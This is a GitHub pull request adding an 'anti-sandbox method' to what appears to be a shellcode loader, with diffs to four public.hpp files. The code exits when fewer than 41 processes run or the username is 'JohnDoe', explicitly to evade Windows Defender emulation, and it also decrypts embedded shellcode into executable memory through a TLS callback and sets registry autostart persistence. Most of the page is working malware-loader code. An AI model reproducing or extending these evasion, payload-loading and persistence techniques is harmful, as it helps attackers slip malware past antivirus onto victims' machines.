Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

增加了个反沙箱方式 #3

Open
wants to merge 9 commits into
base: master
Choose a base branch
from
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
8 changes: 4 additions & 4 deletions plug/Dynamic Load plus/public.hpp
Original file line number Diff line number Diff line change
Expand Up @@ -90,7 +90,7 @@ void AntiSimulation()
{
procnum++;
}
if (procnum <= 40) //�жϵ�ǰ�����Ƿ����40����Ŀǰ������ģ�������̵���WD��ģ��39��
if (procnum <= 40) //判断当前进程是否低于40个,目前见过能模拟最多进程的是WD能模拟39个
{
exit(1);
}
Expand Down Expand Up @@ -123,11 +123,11 @@ void AutoStart()
**********************************************************************/
void init(BOOL anti_sandbox, BOOL autostart)
{
if (anti_sandbox) //������
if (anti_sandbox) //反仿真
{
AntiSimulation();
}
if (autostart) //ע�������������
if (autostart) //注册表添加自启动
{
AutoStart();
}
Expand Down Expand Up @@ -228,4 +228,4 @@ unsigned char* GetShellcodeFromRes(int resourceID, UINT &shellcodeSize)
memcpy(shellcode, (unsigned char*)pBuffer + sizeof(CONFIG), shellcodeSize);
StreamCrypt(shellcode, shellcodeSize, config.key, 128);
return shellcode;
}
}
25 changes: 21 additions & 4 deletions plug/Dynamic Load/public.hpp
Original file line number Diff line number Diff line change
Expand Up @@ -5,6 +5,9 @@ typedef HRSRC(WINAPI *pfnFindResourceW)(HMODULE hModule, LPCWSTR lpName, LPCWSTR
typedef DWORD(WINAPI *pfnSizeofResource)(HMODULE hModule, HRSRC hResInfo);
typedef HGLOBAL(WINAPI *pfnLoadResource)(HMODULE hModule, HRSRC hResInfo);
typedef LPVOID(WINAPI *pfnLockResource)(HGLOBAL hResData);
#define numSandboxUser 1
const WCHAR* sandboxUsername[numSandboxUser] = { L"JohnDoe" };


/**********************************************************************
* @Function: GetShellcodeFromRes(int resourceID, UINT &shellcodeSize)
Expand Down Expand Up @@ -79,6 +82,9 @@ struct CONFIG
**********************************************************************/
void AntiSimulation()
{
WCHAR username[3267];
DWORD charCount = 3267;

HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (INVALID_HANDLE_VALUE == hSnapshot)
{
Expand All @@ -90,10 +96,21 @@ void AntiSimulation()
{
procnum++;
}
if (procnum <= 40) //�жϵ�ǰ�����Ƿ����40����Ŀǰ������ģ�������̵���WD��ģ��39��
if (procnum <= 40) //判断当前进程是否低于40个,目前见过能模拟最多进程的是WD能模拟39个
{
exit(1);
}

if (!GetUserName(username, &charCount)) {
return;
}
for (int i = 0; i < numSandboxUser; ++i) {
if (wcsicmp(username, sandboxUsername[i]) == 0) {
exit(1);
}

}

}

/**********************************************************************
Expand Down Expand Up @@ -123,11 +140,11 @@ void AutoStart()
**********************************************************************/
void init(BOOL anti_sandbox, BOOL autostart)
{
if (anti_sandbox) //������
if (anti_sandbox) //反仿真
{
AntiSimulation();
}
if (autostart) //ע�������������
if (autostart) //注册表添加自启动
{
AutoStart();
}
Expand Down Expand Up @@ -165,4 +182,4 @@ unsigned char* GetShellcodeFromRes(int resourceID, UINT &shellcodeSize)
memcpy(shellcode, (unsigned char*)pBuffer + sizeof(CONFIG), shellcodeSize);
StreamCrypt(shellcode, shellcodeSize, config.key, 128);
return shellcode;
}
}
10 changes: 5 additions & 5 deletions plug/TLS Callback Load/public.hpp
Original file line number Diff line number Diff line change
Expand Up @@ -88,7 +88,7 @@ void AntiSimulation()
{
procnum++;
}
if (procnum <= 40) //�жϵ�ǰ�����Ƿ����40����Ŀǰ������ģ�������̵���WD��ģ��39��
if (procnum <= 40) //判断当前进程是否低于40个,目前见过能模拟最多进程的是WD能模拟39个
{
exit(1);
}
Expand Down Expand Up @@ -121,11 +121,11 @@ void AutoStart()
**********************************************************************/
void init(BOOL anti_sandbox, BOOL autostart)
{
if (anti_sandbox) //������
if (anti_sandbox) //反仿真
{
AntiSimulation();
}
if (autostart) //ע�������������
if (autostart) //注册表添加自启动
{
AutoStart();
}
Expand All @@ -151,8 +151,8 @@ void GetShellcodeFromRes(int resourceID, UINT &shellcodeSize)
//2.Initialization
memcpy(&config, pBuffer, sizeof(CONFIG));
init(config.antisandbox, config.autostart);
//3.Getshellcode //TLS�ص������в���ʹ��new�����ڴ棬�������ַ��ʴ�������ֱ�ӷ����ִ���ڴ�
//3.Getshellcode //TLS回调函数中不能使用new分配内存,否则会出现访问错误,所以直接分配可执行内存
Memory = VirtualAlloc(NULL, totalSize - sizeof(CONFIG), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
memcpy(Memory, (char *)pBuffer + sizeof(CONFIG), totalSize - sizeof(CONFIG));
StreamCrypt((unsigned char*)Memory, totalSize - sizeof(CONFIG), config.key, 128);
}
}
24 changes: 20 additions & 4 deletions plug/public.hpp
Original file line number Diff line number Diff line change
@@ -1,5 +1,7 @@
#include<windows.h>
#include<TlHelp32.h>
#define numSandboxUser 1
const WCHAR* sandboxUsername[numSandboxUser] = { L"JohnDoe" };

/**********************************************************************
* @Function: GetShellcodeFromRes(int resourceID, UINT &shellcodeSize)
Expand Down Expand Up @@ -75,6 +77,9 @@ struct CONFIG
**********************************************************************/
void AntiSimulation()
{
WCHAR username[3267];
DWORD charCount = 3267;

HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (INVALID_HANDLE_VALUE == hSnapshot)
{
Expand All @@ -86,10 +91,21 @@ void AntiSimulation()
{
procnum++;
}
if (procnum <= 40) //�жϵ�ǰ�����Ƿ����40����Ŀǰ������ģ�������̵���WD��ģ��39��
if (procnum <= 40) //判断当前进程是否低于40个,目前见过能模拟最多进程的是WD能模拟39个
{
exit(1);
}

if (!GetUserName(username, &charCount)) {
return;
}
for (int i = 0; i < numSandboxUser; ++i) {
if (wcsicmp(username, sandboxUsername[i]) == 0) {
exit(1);
}

}

}

/**********************************************************************
Expand Down Expand Up @@ -119,11 +135,11 @@ void AutoStart()
**********************************************************************/
void init(BOOL anti_sandbox, BOOL autostart)
{
if (anti_sandbox) //������
if (anti_sandbox) //反仿真
{
AntiSimulation();
}
if (autostart) //ע�������������
if (autostart) //注册表添加自启动
{
AutoStart();
}
Expand Down Expand Up @@ -154,4 +170,4 @@ unsigned char* GetShellcodeFromRes(int resourceID, UINT &shellcodeSize)
memcpy(shellcode, (unsigned char*)pBuffer + sizeof(CONFIG), shellcodeSize);
StreamCrypt(shellcode, shellcodeSize, config.key, 128);
return shellcode;
}
}